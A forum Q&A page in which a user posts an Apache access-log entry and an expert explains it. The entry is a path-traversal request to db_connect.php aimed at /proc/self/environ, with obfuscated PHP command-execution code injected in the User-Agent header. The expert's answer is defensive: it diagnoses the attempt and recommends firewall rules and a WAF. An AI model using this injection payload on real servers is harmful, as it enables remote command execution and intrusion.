Apache Log Files

Posted on 2010-11-18
Last Modified: 2012-05-10
./access.log.3: - - [28/Sep/2008:04:30:40 +0800] "GET /conference_proceedings/2005/forensics/includes/db_connect.php?baseDir=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 501 266 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"
Question by:madstylex
LVL 26

Expert Comment

Comment Utility
Appears to be a duplicate of post:, if you don't want to waste the points just post a comment saying it's a duplicate and accept your own answer.
LVL 61

Accepted Solution

btan earned 500 total points
Comment Utility
typically for "db_connect.php", it serves to connect directly to the database, this log suggest that an issue whereby .../includes/db_connect.php not properly sanitizing user input supplied to the 'baseDir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands (e.g. all the \\x mulitples) which will be executed by the vulnerable script. It looks like trying to exploit a local file inclusion vulnerability.

It is trying to see if proc/self/environ is accessible and if so, it will inject the malicious codes. It would be inject code in User-Agent HTTP Header but it seems like the log shows it has HTTP response 501 which means the server does not support the facility required. Hence deny "entry" to this exploitation by This source is from Brazil (probably a bot since there is 25 host to this IP address) and there is included as one of the blacklist , see this @

have the blocked in the firewall rule, rightfully those path should not be even be exposed for public access....have a WAF in front to detect such attempts

Featured Post

Control application downtime with dependency maps

Visualize the interdependencies between application components better with Applications Manager's automated application discovery and dependency mapping feature. Resolve performance issues faster by quickly isolating problematic components.

Join & Write a Comment

Over the last year I have answered a couple of basic URL rewriting questions several times so I thought I might as well have a stab at: explaining the basics, providing a few useful links and consolidating some of the most common queries into a sing…
If your site has a few sections that need to be secure when data is transmitted between the server and local computer, such as a /order/ section for ordering or /customer/ which contains customer data, etc it would of course be recommended to secure…
When you create an app prototype with Adobe XD, you can insert system screens -- sharing or Control Center, for example -- with just a few clicks. This video shows you how. You can take the full course on Experts Exchange at
You have products, that come in variants and want to set different prices for them? Watch this micro tutorial that describes how to configure prices for Magento super attributes. Assigning simple products to configurable: We assigned simple products…

744 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

13 Experts available now in Live!

Get 1:1 Help Now